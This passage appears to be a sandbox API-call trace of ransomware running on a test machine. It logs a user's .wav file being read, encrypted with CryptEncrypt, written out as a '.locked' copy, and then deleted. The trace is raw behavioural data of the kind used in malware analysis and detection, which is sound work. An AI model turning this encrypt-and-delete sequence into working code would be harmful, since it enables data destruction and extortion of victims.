[1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.785] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0123.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0123.785] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0123.786] GetFileType (hFile=0x874) returned 0x1 [0123.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0123.786] GetFileType (hFile=0x874) returned 0x1 [0123.786] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.797] CoTaskMemAlloc (cb=0x20e) returned 0x8e56318 [0123.797] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e56318, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0123.797] CoTaskMemFree (pv=0x8e56318) [0123.797] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.797] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.797] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.797] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", lpFilePart=0x0) returned 0x54 [0123.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0123.798] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0123.799] GetFileType (hFile=0x878) returned 0x1 [0123.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0123.799] GetFileType (hFile=0x878) returned 0x1 [0123.799] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.810] CryptGenRandom (in: hProv=0x43972b8, dwLen=0x10, pbBuffer=0x6a114f8 | out: pbBuffer=0x6a114f8) returned 1 [0123.996] CryptContextAddRef (hProv=0x43972b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0123.996] CryptDuplicateKey (in: hKey=0x8e857f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9a4 | out: phKey=0x99ae9a4*=0x8e856b8) returned 1 [0123.996] CryptContextAddRef (hProv=0x43972b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0123.997] CryptSetKeyParam (hKey=0x8e856b8, dwParam=0x4, pbData=0x6a4b7dc*=0x1, dwFlags=0x0) returned 1 [0123.997] CryptSetKeyParam (hKey=0x8e856b8, dwParam=0x1, pbData=0x6a4b7a8, dwFlags=0x0) returned 1 [0123.999] CoTaskMemAlloc (cb=0x20e) returned 0x8e535d0 [0123.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e535d0, nSize=0x105 | out: lpBuffer="\x64a8\x74a0\xad99\x99de\x1000") returned 0x0 [0123.999] CoTaskMemFree (pv=0x8e535d0) [0123.999] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.999] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.999] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.013] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.071] ReadFile (in: hFile=0x874, lpBuffer=0x6a621ec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9a4, lpOverlapped=0x0 | out: lpBuffer=0x6a621ec*, lpNumberOfBytesRead=0x99ae9a4*=0x3b25, lpOverlapped=0x0) returned 1 [0124.072] CryptEncrypt (in: hKey=0x8e856b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a761f8*, pdwDataLen=0x99ae998*=0x3b20, dwBufLen=0x3b20 | out: pbData=0x6a761f8*, pdwDataLen=0x99ae998*=0x3b20) returned 1 [0124.072] WriteFile (in: hFile=0x878, lpBuffer=0x6a3f604*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae97c, lpOverlapped=0x0 | out: lpBuffer=0x6a3f604*, lpNumberOfBytesWritten=0x99ae97c*=0x1000, lpOverlapped=0x0) returned 1 [0124.073] WriteFile (in: hFile=0x878, lpBuffer=0x6a771e4*, nNumberOfBytesToWrite=0x2b34, lpNumberOfBytesWritten=0x99ae97c, lpOverlapped=0x0 | out: lpBuffer=0x6a771e4*, lpNumberOfBytesWritten=0x99ae97c*=0x2b34, lpOverlapped=0x0) returned 1 [0124.073] ReadFile (in: hFile=0x874, lpBuffer=0x6a621ec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9a4, lpOverlapped=0x0 | out: lpBuffer=0x6a621ec*, lpNumberOfBytesRead=0x99ae9a4*=0x0, lpOverlapped=0x0) returned 1 [0124.093] CryptEncrypt (in: hKey=0x8e856b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a91c74*, pdwDataLen=0x99ae9fc*=0x10, dwBufLen=0x10 | out: pbData=0x6a91c74*, pdwDataLen=0x99ae9fc*=0x10) returned 1 [0124.093] CryptEncrypt (in: hKey=0x8e856b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a91ca8*, pdwDataLen=0x99aea04*=0x0, dwBufLen=0x10 | out: pbData=0x6a91ca8*, pdwDataLen=0x99aea04*=0x10) returned 1 [0124.093] WriteFile (in: hFile=0x878, lpBuffer=0x6a3f604*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6a3f604*, lpNumberOfBytesWritten=0x99ae9d4*=0x10, lpOverlapped=0x0) returned 1 [0124.096] CloseHandle (hObject=0x878) returned 1 [0124.110] CloseHandle (hObject=0x874) returned 1 [0124.110] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.110] CoTaskMemAlloc (cb=0x20e) returned 0x8e55400 [0124.110] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55400, nSize=0x105 | out: lpBuffer="\x3c3") returned 0x0 [0124.111] CoTaskMemFree (pv=0x8e55400) [0124.117] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.118] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.118] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.131] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0124.133] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.133] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.133] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.133] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0124.133] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0124.133] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0124.133] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0124.134] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0124.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0124.135] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0124.135] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0124.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0124.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0124.135] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0124.135] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0124.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0124.136] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.136] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.137] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0124.138] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.138] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav\\", lpFilePart=0x0) returned 0x4e [0124.138] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0124.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0124.139] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0124.139] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0124.139] CoTaskMemFree (pv=0x8ebb8c8) [0124.195] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0124.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.241] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0124.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav"), fInfoLevelId=0x0, lpFileInformation=0x6ac1da8 | out: lpFileInformation=0x6ac1da8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7a5fb0, ftCreationTime.dwHighDateTime=0x1d49df8, ftLastAccessTime.dwLowDateTime=0x4b4b09d0, ftLastAccessTime.dwHighDateTime=0x1d4a37f, ftLastWriteTime.dwLowDateTime=0x4b4b09d0, ftLastWriteTime.dwHighDateTime=0x1d4a37f, nFileSizeHigh=0x0, nFileSizeLow=0x3b25)) returned 1 [0124.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0124.346] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 1 [0124.348] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, 